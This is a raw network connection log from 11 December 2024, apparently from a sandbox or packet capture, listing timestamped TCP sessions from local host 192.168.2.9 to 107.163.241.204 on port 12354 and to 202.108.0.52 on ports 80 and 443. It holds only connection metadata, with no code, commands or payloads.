Dec 11, 2024 16:24:24.594237089 CET	50102	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:24.602014065 CET	12354	50100	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:24.602247953 CET	12354	50127	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:24.602307081 CET	50127	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:24.615520000 CET	50127	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:24.632047892 CET	50130	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:24.713582993 CET	12354	50102	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:24.735022068 CET	12354	50127	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:24.752780914 CET	12354	50130	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:24.752913952 CET	50130	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:24.783198118 CET	50130	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:24.902640104 CET	12354	50130	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:25.840725899 CET	443	50122	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:25.840872049 CET	50122	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:25.841310024 CET	50122	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:25.841315985 CET	443	50122	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:25.843084097 CET	50122	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:25.843090057 CET	443	50122	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:26.236604929 CET	50130	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:26.236653090 CET	50122	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:26.236679077 CET	50127	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:26.238157034 CET	50150	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:26.351481915 CET	50152	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:26.351661921 CET	50103	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:26.351871967 CET	50153	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:26.360894918 CET	12354	50150	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:26.360991001 CET	50150	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:26.361162901 CET	50150	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:26.471088886 CET	12354	50152	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:26.471219063 CET	50152	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:26.471364975 CET	50152	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:26.471375942 CET	80	50153	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:26.471426010 CET	50153	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:26.471508026 CET	50153	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:26.472876072 CET	80	50103	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:26.472934961 CET	50103	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:26.480715036 CET	12354	50150	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:26.590818882 CET	12354	50152	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:26.590841055 CET	80	50153	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:28.046827078 CET	80	50153	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:28.046919107 CET	50153	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:28.081603050 CET	50172	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:28.081654072 CET	443	50172	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:28.081715107 CET	50172	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:28.082343102 CET	50172	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:28.082362890 CET	443	50172	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:28.529531002 CET	12354	50150	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:28.529616117 CET	50150	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.529791117 CET	50150	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.530148029 CET	50177	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.649719000 CET	12354	50152	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:28.649776936 CET	50152	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.650001049 CET	50152	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.650479078 CET	50180	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.697463036 CET	12354	50150	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:28.697482109 CET	12354	50177	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:28.697594881 CET	50177	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.697782040 CET	50177	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.772872925 CET	12354	50152	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:28.772887945 CET	12354	50180	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:28.772984982 CET	50180	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.773125887 CET	50180	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:28.817924976 CET	12354	50177	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:28.895790100 CET	12354	50180	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:29.770999908 CET	443	50172	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:29.771117926 CET	50172	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:29.791553020 CET	50172	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:29.791582108 CET	443	50172	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:29.793217897 CET	50172	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:29.793230057 CET	443	50172	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:30.251967907 CET	50177	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:30.251995087 CET	50172	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:30.252001047 CET	50180	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:30.252711058 CET	50200	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:30.365061998 CET	50153	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:30.365283012 CET	50203	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:30.366481066 CET	50204	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:30.373354912 CET	12354	50200	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:30.373471975 CET	50200	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:30.373579025 CET	50200	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:30.486751080 CET	80	50203	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:30.486886978 CET	50203	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:30.486916065 CET	80	50153	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:30.486967087 CET	50153	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:30.487062931 CET	50203	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:30.487389088 CET	12354	50204	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:30.487456083 CET	50204	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:30.487552881 CET	50204	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:30.493005037 CET	12354	50200	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:30.606559992 CET	80	50203	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:30.607023954 CET	12354	50204	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:32.061713934 CET	80	50203	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:32.061846972 CET	50203	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:32.064083099 CET	50226	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:32.064124107 CET	443	50226	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:32.064229965 CET	50226	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:32.064629078 CET	50226	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:32.064647913 CET	443	50226	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:32.484625101 CET	12354	50200	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:32.484735012 CET	50200	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.484808922 CET	50200	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.485171080 CET	50233	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.609971046 CET	12354	50204	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:32.610316992 CET	50204	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.610316992 CET	50204	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.610568047 CET	50236	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.612504959 CET	12354	50200	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:32.612540960 CET	12354	50233	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:32.612621069 CET	50233	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.612746000 CET	50233	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.730477095 CET	12354	50204	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:32.730539083 CET	12354	50236	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:32.730654955 CET	50236	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.730777979 CET	50236	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:32.732244968 CET	12354	50233	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:32.852936983 CET	12354	50236	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:33.753844976 CET	443	50226	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:33.753925085 CET	50226	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:33.754236937 CET	50226	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:33.754241943 CET	443	50226	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:33.755618095 CET	50226	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:33.755623102 CET	443	50226	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:34.260276079 CET	50226	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:34.260322094 CET	50236	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:34.260451078 CET	50233	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:34.260876894 CET	50255	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:34.365300894 CET	50257	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:34.365546942 CET	50203	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:34.365782022 CET	50258	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:34.380343914 CET	12354	50255	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:34.380440950 CET	50255	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:34.380562067 CET	50255	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:34.485479116 CET	12354	50257	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:34.485701084 CET	50257	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:34.485790968 CET	80	50258	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:34.485893011 CET	50258	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:34.485975027 CET	80	50203	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:34.486099958 CET	50203	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:34.486502886 CET	50257	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:34.486591101 CET	50258	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:34.499996901 CET	12354	50255	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:34.605974913 CET	12354	50257	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:34.606120110 CET	80	50258	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:36.063488960 CET	80	50258	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:36.063719034 CET	50258	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:36.066279888 CET	50283	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:36.066334009 CET	443	50283	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:36.066447020 CET	50283	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:36.066813946 CET	50283	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:36.066837072 CET	443	50283	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:36.482901096 CET	12354	50255	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:36.482958078 CET	50255	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.483062029 CET	50255	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.483783007 CET	50289	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.603415966 CET	12354	50257	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:36.603435040 CET	12354	50255	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:36.603552103 CET	50257	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.603590965 CET	50257	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.603624105 CET	12354	50289	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:36.603688002 CET	50289	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.603950024 CET	50292	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.604049921 CET	50289	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.723261118 CET	12354	50257	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:36.723377943 CET	12354	50292	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:36.723392010 CET	12354	50289	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:36.723439932 CET	50292	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.737837076 CET	50292	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:36.864708900 CET	12354	50292	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:37.958507061 CET	443	50283	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:37.958684921 CET	50283	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:37.959075928 CET	50283	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:37.959095955 CET	443	50283	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:37.960649014 CET	50283	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:37.960660934 CET	443	50283	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:38.268059969 CET	50283	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:38.268095970 CET	50289	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:38.268130064 CET	50292	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:38.269627094 CET	50317	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:38.388902903 CET	12354	50317	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:38.388998032 CET	50317	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:38.391077995 CET	50319	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:38.392302036 CET	50317	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:38.392659903 CET	50258	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:38.392896891 CET	50320	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:38.510391951 CET	12354	50319	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:38.510505915 CET	50319	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:38.510656118 CET	50319	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:38.511522055 CET	12354	50317	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:38.512104034 CET	80	50320	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:38.512151957 CET	50320	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:38.512214899 CET	80	50258	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:38.512219906 CET	50320	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:38.512259007 CET	50258	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:38.632709026 CET	12354	50319	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:38.632725000 CET	80	50320	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:40.515832901 CET	12354	50317	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:40.515932083 CET	50317	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.517209053 CET	50317	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.517754078 CET	50354	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.623724937 CET	12354	50319	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:40.623859882 CET	50319	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.623967886 CET	50319	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.630304098 CET	50356	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.636616945 CET	12354	50317	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:40.637118101 CET	12354	50354	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:40.637186050 CET	50354	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.637304068 CET	50354	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.744194031 CET	12354	50319	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:40.750422001 CET	12354	50356	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:40.750513077 CET	50356	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.756793022 CET	12354	50354	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:40.786845922 CET	50356	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:40.907207966 CET	12354	50356	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:42.283051968 CET	50356	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:42.283195972 CET	50320	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:42.283199072 CET	50354	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:42.283751011 CET	50382	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:42.396044970 CET	50385	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:42.396433115 CET	50386	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:42.404203892 CET	12354	50382	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:42.404793024 CET	50382	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:42.404793024 CET	50382	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:42.519454002 CET	12354	50385	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:42.519490957 CET	80	50386	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:42.519591093 CET	50385	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:42.519890070 CET	50386	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:42.520065069 CET	50385	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:42.520148993 CET	50386	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:42.531162977 CET	12354	50382	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:42.644478083 CET	12354	50385	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:42.644506931 CET	80	50386	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:44.516263008 CET	12354	50382	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:44.516424894 CET	50382	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.530231953 CET	50382	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.530662060 CET	50414	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.640526056 CET	12354	50385	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:44.640595913 CET	50385	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.640645027 CET	50385	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.645066023 CET	50416	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.649692059 CET	12354	50382	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:44.650005102 CET	12354	50414	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:44.650069952 CET	50414	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.650203943 CET	50414	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.655164957 CET	80	50386	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:44.655236006 CET	50386	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:44.656811953 CET	50417	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:44.656908035 CET	443	50417	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:44.656975031 CET	50417	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:44.657212973 CET	50417	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:44.657279968 CET	443	50417	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:44.762682915 CET	12354	50385	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:44.764506102 CET	12354	50416	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:44.764695883 CET	50416	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.764868021 CET	50416	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:44.771266937 CET	12354	50414	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:44.884449959 CET	12354	50416	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:46.307061911 CET	50414	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:46.307143927 CET	50416	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:46.307143927 CET	50417	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:46.307848930 CET	50446	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:46.427799940 CET	12354	50446	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:46.428884983 CET	50446	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:46.441603899 CET	50446	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:46.460460901 CET	50450	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:46.461833000 CET	50386	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:46.462059021 CET	50451	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:46.561100006 CET	12354	50446	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:46.579849005 CET	12354	50450	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:46.580832958 CET	50450	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:46.581362963 CET	50450	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:46.581526995 CET	80	50451	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:46.581684113 CET	80	50386	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:46.581751108 CET	50386	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:46.581753969 CET	50451	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:46.582151890 CET	50451	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:46.700794935 CET	12354	50450	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:46.702774048 CET	80	50451	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:48.143218040 CET	80	50451	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:48.144846916 CET	50451	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:48.148087978 CET	50474	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:48.148139000 CET	443	50474	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:48.148901939 CET	50474	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:48.149210930 CET	50474	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:48.149228096 CET	443	50474	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:48.531435966 CET	12354	50446	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:48.533080101 CET	50446	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.534121990 CET	50446	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.535130978 CET	50483	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.653695107 CET	12354	50446	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:48.655410051 CET	12354	50483	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:48.655545950 CET	50483	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.655706882 CET	50483	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.689285040 CET	12354	50450	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:48.691210985 CET	50450	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.691653967 CET	50450	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.692315102 CET	50487	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.776577950 CET	12354	50483	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:48.816586971 CET	12354	50450	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:48.816605091 CET	12354	50487	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:48.816679001 CET	50487	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.816800117 CET	50487	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:48.936245918 CET	12354	50487	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:49.851380110 CET	443	50474	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:49.851461887 CET	50474	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:49.852154016 CET	443	50474	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:49.852206945 CET	50474	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:49.910166979 CET	50474	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:49.910186052 CET	443	50474	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:49.911180973 CET	443	50474	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:49.911242962 CET	50474	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:49.911879063 CET	50474	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:49.959328890 CET	443	50474	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:50.455795050 CET	50487	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:50.455806017 CET	50483	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:50.455883026 CET	50474	443	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:50.456922054 CET	50517	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:50.572562933 CET	50451	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:50.572834015 CET	50520	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:50.575995922 CET	50521	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:50.576363087 CET	12354	50517	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:50.576468945 CET	50517	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:50.576754093 CET	50517	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:50.693500042 CET	80	50520	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:50.693536997 CET	80	50451	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:50.693733931 CET	50520	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:50.693789959 CET	50451	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:50.694227934 CET	50520	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:50.695718050 CET	12354	50521	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:50.695837975 CET	50521	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:50.696141958 CET	50521	12354	192.168.2.9	107.163.241.204
Dec 11, 2024 16:24:50.696176052 CET	12354	50517	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:50.814816952 CET	80	50520	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:50.816565990 CET	12354	50521	107.163.241.204	192.168.2.9
Dec 11, 2024 16:24:52.271370888 CET	80	50520	202.108.0.52	192.168.2.9
Dec 11, 2024 16:24:52.271420956 CET	50520	80	192.168.2.9	202.108.0.52
Dec 11, 2024 16:24:52.277008057 CET	50561	443	192.168.2.9	202.108.0.52
